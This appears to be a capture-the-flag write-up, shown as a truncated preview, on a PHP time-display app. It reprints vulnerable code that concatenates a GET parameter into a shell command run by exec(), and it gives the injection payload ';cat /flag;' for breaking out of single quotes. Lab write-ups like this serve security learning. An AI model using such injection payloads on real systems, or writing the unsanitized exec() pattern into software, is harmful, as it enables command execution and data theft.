$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: PHP web app with date command. Solution: OS command injection via single quote escape in exec() call, breaking out of quoted shell argument to read /flag.
$ cat /etc/rate-limit
Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.
"Are you ready to unravel the mysteries and expose the truth hidden within KROP's digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine."
Target: http://154.57.164.74:30639
Downloaded and extracted the archive with the task source code. Structure — PHP MVC application:
| File | Purpose |
|---|---|
TimeModel.php | Model — builds and executes shell command date |
TimeController.php | Controller — accepts GET parameter format |
index.php | Entry point |
Router.php | Routing |
Dockerfile | Shows flag location: /flag |
challenge/models/TimeModel.php — command is built via concatenation:
<?php class TimeModel { public function __construct($format) { $this->command = "date '+" . $format . "' 2>&1"; } public function getTime() { $time = exec($this->command); $res = isset($time) ? $time : '?'; return $res; } }
challenge/controllers/TimeController.php — user input is passed without filtering:
<?php class TimeController { public function index($router) { $format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S'; $time = new TimeModel($format); return $router->view('index', ['time' => $time->getTime()]); } }
GET /?format=PAYLOAD
→ TimeController: $format = $_GET['format'] (no sanitization)
→ TimeModel: "date '+" . $format . "' 2>&1" (concatenation into shell command)
→ exec($this->command) (execution via shell)
Problem: GET parameter format is directly concatenated into the shell command string passed to exec(). Although user input is placed inside single quotes ('), this is not a protection — it's enough to close the quote and insert an arbitrary command.
Command template:
date '+FORMAT' 2>&1
Payload: ';cat /flag;'
...
$ grep --similar